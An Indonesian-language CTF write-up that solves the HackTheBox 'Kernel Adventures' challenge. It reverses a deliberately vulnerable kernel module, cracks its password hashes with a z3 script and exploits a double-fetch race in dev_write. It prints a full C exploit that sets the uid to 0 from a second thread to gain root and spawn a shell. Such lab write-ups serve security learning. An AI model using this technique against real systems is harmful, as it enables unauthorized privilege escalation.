Kernel Adventures, merupakan kernel exploitation yang terdapat disalah satu challenge hackthebox. Ini merupakan challenge kernel pertama yang aku selesaikan. Challenge ini memiliki kesulitan medium jadi mungkin ini masih tergolong mudah.
Spoiler alert! karena instance dari challenge ini masih aktif.
0x01 Overview Link to heading
Kernel exploitation adalah challenge kernel yang mana kita sebagai user biasa harus mendapatkan privilege escalation dengan mengeksploitasi bug yang terdapat pada kernel module yang diberikan. Berikut attachment yang diberikan:
release/
├── bzImage
├── notes.txt
├── rootfs.cpio.gz
└── run.sh
Penjelasan singkat mengenai file-file diatas:
bzImageimage kernel yang digunakan untuk booting ke sistem operasi. Didalam file ini juga terdapat binary kernel atau biasa disebutvmlinux.rootfs.cpio.gzberisi filesystem image untuk sistem operasi challenge ini.run.shbash script yang digunakan untuk menjalankan sistem operasi.
Yang perlu diperhatikan pada kasus ini adalah rootfs.cpio.gz karena disinilah file kernel module disimpan yang nantinya akan di-insert ke linux kernel menggunakan insmod.
Extracting Linux Image Filesystem Link to heading
Ekstraksi filesystem dari image dapat menggunakan perintah cpio yang ada di-bash.
$ gunzip rootfs.cpio.gz && mkdir files
$ cd files/
$ cpio -idmv < ../rootfs.cpio
...
$ ls
bin etc home lib linuxrc mnt opt root sbin tmp var
dev flag init lib64 media mysu.ko proc run sys usr
init adalah file yang akan dieksekusi pertama kali setelah proses booting selesai. mysu.ko ini adalah kernel module yang ditambahkan pada kernel. Untuk membaca flag diperlukan akses root yang bisa didapatkan dengan meng-eksploitasi kernel module mysu.ko. Lainnya adalah filesystem biasa yang terdapat pada linux.
Kernel Module Structure Link to heading
Pada kernel module terdapat 2 fungsi utama yaitu <mod_name>_init dan <mod_name>_exit.
<mod_name>_initini akan dieksekusi ketika module di-load ke kernel.<mod_name>_exitini akan dieksekusi ketika module di-unload dari kernel.
Fungsi lain yang digunakan untuk berinteraksi antara kernel dengan user biasanya berawalan dengan dev_*, sebagai contoh dev_open, dev_read, dan dev_write. Dan ketiganya terdapat pada kernel module mysu.
0x02 Reversing Kernel Module Link to heading
Dilihat dari mysu_init, kernel module akan membuat device pada /dev/mysu yang nantinya bisa digunakan untuk berinteraksi dengan user.
unsigned int hash(const char *password)
{
...
idx = 0;
res = 0;
password_size = strlen(password);
while ( idx != password_size )
{
tmp = 1025 * (password[idx] + res);
res = password[idx++] ^ (tmp >> 6) ^ tmp;
}
return (unsigned int)res;
}
Fungsi hash melakukan kalkulasi per-byte password dengan operasi add, mult, shift, dan xor.
unsigned int dev_read(__int64 a1, void *user_buf, unsigned __int64 user_copy_size)
{
...
n = user_copy_size;
if ( user_copy_size > 0x20 )
n = 0x20;
memcpy(user_buf, &users, n);
return n;
}
Fungsi dev_read meng-copy &users ke user_buf sebanyak user_copy_size dan panjang request copy tidak bisa lebih dari 32. &users ini berisi uid dan hash dari users dan admin.
unsigned int dev_write(__int64 a1, req_s *req, unsigned __int64 user_write_size)
{
...
if ( user_write_size <= 7 )
return NULL;
if ( req->uid == users.uid )
{
password = req->password;
if ( hash(req->password) == users.hash )
goto SUCCESS;
if ( admin.uid != req->uid )
return NULL;
}
else if ( admin.uid != req->uid )
{
return NULL;
}
password = req->password;
if ( hash(req->password) != admin.hash )
return NULL;
SUCCESS:
uid = req->uid;
ptr = prepare_creds(password);
*(_DWORD *)(ptr + 4) = uid;
*(_DWORD *)(ptr + 8) = uid;
*(_DWORD *)(ptr + 12) = uid;
*(_DWORD *)(ptr + 16) = uid;
*(_DWORD *)(ptr + 20) = uid;
*(_DWORD *)(ptr + 24) = uid;
*(_DWORD *)(ptr + 28) = uid;
*(_DWORD *)(ptr + 32) = uid;
commit_creds(ptr);
return user_copy_size;
}
Fungsi dev_write melakukan perbandingan req->uid dan req->password’s hash, apakah request user merupakan users (uid: 1000) atau admin (uid: 1001). Jika semua pengecekan dapat lolos, maka kernel akan memanggil commit_creds dengan cred->uid = req->uid.
Jika dilihat pada program, kita tidak bisa mengirim request dengan uid 0. Karena pengecekan hanya mengecek apakah user merupakan users atau admin. Jika tidak keduanya maka return null.
Bug Link to heading
Jika dilihat pada dev_write setelah seluruh pengecekan selesai, user->uid akan di-fetch ke variable lokal uid dan akan digunakan untuk meng-assign value uid, gid, dll. dari struct cred sebagai argument untuk memanggil commit_creds.
if ( req->uid == users.uid )
{
password = req->password;
if ( hash(req->password) == users.hash )
goto SUCCESS;
if ( admin.uid != req->uid )
return NULL;
}
else if ( admin.uid != req->uid )
return NULL;
password = req->password;
if ( hash(req->password) != admin.hash )
return NULL;
SUCCESS:
uid = req->uid; // fetch
Bagaimana jika setelah pengecekan user yang valid selesai, lalu kita mengubah nilai dari req->uid tadi pada thread lain? Ini akan menimbulkan inconsistency yang bisa kita manfaatkan untuk mendapatkan root.
0x03 Exploitation Link to heading
Jika dilihat dari notes.txt,
“I removed the password hashes in the file I gave you. They’re not supposed to be 0.”
Author telah menghapus password hash user valid yang terdapat pada mysu.ko yang diberikan tadi. Maka diperlukan read terlebih dahulu di-server.
#define MAX_SIZE 4
int main(int *argc, const char **argv[]) {
int fd;
int buf[MAX_SIZE];
fd = open(DEVICE_PATH, O_RDWR);
if (fd < 0) {
fprintf(stderr, "%s: failed open the device.\n", *argv);
exit(EXIT_FAILURE);
}
read(fd, &buf, sizeof(buf));
for(int i = 0; i < MAX_SIZE; i++)
printf("[%02x]: %08x (%d)\n", i, buf[i], buf[i]);
return 0;
}
Jalankan pada server akan didapatkan uid dan hash password dari users dan admin yang valid.
/ $ /tmp/hax
[00]: 000003e8 (1000)
[01]: 03319f75 (53583733)
[02]: 000003e9 (1001)
[03]: 2ab76467 (716661863)
Cracking Hash Password Link to heading
Tidak tau kenapa, z3 tidak menyelesaikannya secara optimal, sehingga dibutuhkan double check terhadap password yang didapatkan.
from z3 import *
max_uint = 0xFFFFFFFF
max_int = 0x80000000
def hash(s):
res = 0
for i in range(len(s)):
tmp = (1025 * (s[i] + res)) & max_uint
res = (s[i] ^ (tmp >> 6) ^ tmp) & max_uint
res = res | (-(res & max_int))
return res
target = 0x03319f75 # users
target = 0x2ab76467 # admin
length = 8 # increase if there is no solution by z3.
s = Solver()
b = [BitVec(f'b!{i}', 32) for i in range(length)]
for i in range(len(b)):
s.add(And(b[i] > 0x20, b[i] < 0x7f))
s.add(hash(b) == target)
while s.check() == sat:
m = s.model()
p = bytes([m[i].as_long() for i in b])
s.add(
Or(
b[0] != p[0],
b[1] != p[1],
b[2] != p[2],
b[3] != p[3],
b[4] != p[4]
)
)
if hash(p) == target:
print(f"[valid] ({p.hex()}) -> {p}\n")
Attack Ideas Link to heading
Kita dapat mengubah req->uid di-thread lain. Sehingga pada saat pengecekan req->uid yang awalnya merupakan uid user biasa dan pengecekan hash password selesai, nilai req->uid akan kita ubah menjadi uid root yang nantinya ini akan di-fetch ke variable lokal uid dan digunakan untuk assign cred struct untuk commit_creds. Sebagai gambaran alur prosesnya.
| Other Thread | Main Thread |
|---|---|
| … | req->uid user valid check |
| … | req->password hash valid check |
set req->uid into 0 (root uid) | uid = req->uid |
| … | cred->uid = 0 and others |
| … | commit_creds(cred) will give us root |
Untuk mengoptimalkan exploit dapat dilakukan race condition untuk mengubah user uid ke root uid, dan break jika sudah mendapatkan root privileged.
Full exploit,
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#define _GNU_SOURCE
#define DEVICE_PATH "/dev/mysu"
#define USER_UID 1000
#define ADMIN_UID 1001
#define USER_PASSWORD "UeS6Lsp("
#define ADMIN_PASSWORD "pYH4f5Rb"
struct req_cred_s {
int uid;
char password[28];
} req;
void *race_thread() {
for (;;) req.uid = 0;
}
int main(int *argc, const char **argv[]) {
pthread_t t_id;
int fd;
fd = open(DEVICE_PATH, O_RDWR);
if (fd < 0) {
fprintf(stderr, "failed open the device.\n");
exit(EXIT_FAILURE);
}
memcpy(req.password, ADMIN_PASSWORD, sizeof(ADMIN_PASSWORD));
pthread_create(&t_id, NULL, race_thread, NULL);
for (;;) {
req.uid = ADMIN_UID;
write(fd, &req, sizeof(req));
if (getuid() == 0) {
system("/bin/sh");
break;
}
}
return 0;
}
Jalankan di-server dan root didapatkan :)
/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
...
/ $ /tmp/hax
/ # id
uid=0(root) gid=0(root) groups=1000(user)
...
/ # cat /flag
HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
/ #
0x04 Penutup Link to heading
Pada awalnya bingung dengan multithread di C karena agak aneh diawal karena thread tidak jalan bersamaan, ternyata ada yang salah dikode aku. Great challenge! buatku yang baru pertama kali mengerjakan soal kernel exploitation.
Thanks.
:helloworld: